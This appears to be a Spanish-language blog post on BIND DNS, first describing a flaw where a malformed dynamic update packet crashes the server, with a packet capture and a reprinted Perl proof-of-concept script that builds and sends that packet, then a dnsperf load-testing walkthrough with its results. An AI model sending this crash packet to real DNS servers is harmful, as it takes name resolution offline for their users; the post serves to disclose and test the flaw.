Exite un fallo de seguridad con el cual el denomio de dns cae con un paquete especificamente mal formado

15:38:11.676045 IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: UDP (17), length: 178) 10.2.0.205.59447 > 10.2.0.205.53:  17378 update [1a] [1n] [1au] SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain]

Bind solo fallará si se usa un nameserver como fqdn.

Script que proporcionan en debian para probar el fallo :

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';

my $rzone = '<zone>';
my $rptr  = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

Más información aquí

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Usaremos la herramienta queryperf ( dns stress tool )

cd /usr/src
apt-get install libbind-dev build-essential libssl-dev

wget ftp://ftp.nominum.com/pub/nominum/dnsperf/1.0.1.0/dnsperf-src-1.0.1.0-1.tar.gz
tar zxvf dnsperf-src-1.0.1.0-1.tar.gz
cd dnsperf-src-1.0.1.0-1
./configure
make
make install

y para probarlo ( el fichero de examples está contenido en paquete tar ) :

dnsperf -s dns.hostingaldescubierto.com < examples/queryfile-example-100thousand

DNS Performance Testing Tool

Nominum Version 1.0.1.0

[Status] Processing input data
[Status] Sending queries (to 192.168.100.1)
[Status] Testing complete

Statistics:

Parse input file:     once
Ended due to:         reaching end of file

Queries sent:         100000 queries
Queries completed:    100000 queries
Queries lost:         0 queries

Avg request size:     41 bytes
Avg response size:    110 bytes

Percentage completed: 100.00%
Percentage lost:        0.00%

Started at:           Fri Jul 18 14:56:52 2008
Finished at:          Fri Jul 18 14:57:01 2008
Ran for:              9.552197 seconds

Queries per second:   10468.795817 qps

También podeis consultar un interesante artículo acerca del rendimiento de Bind 9 en distintos servidores en este enlace

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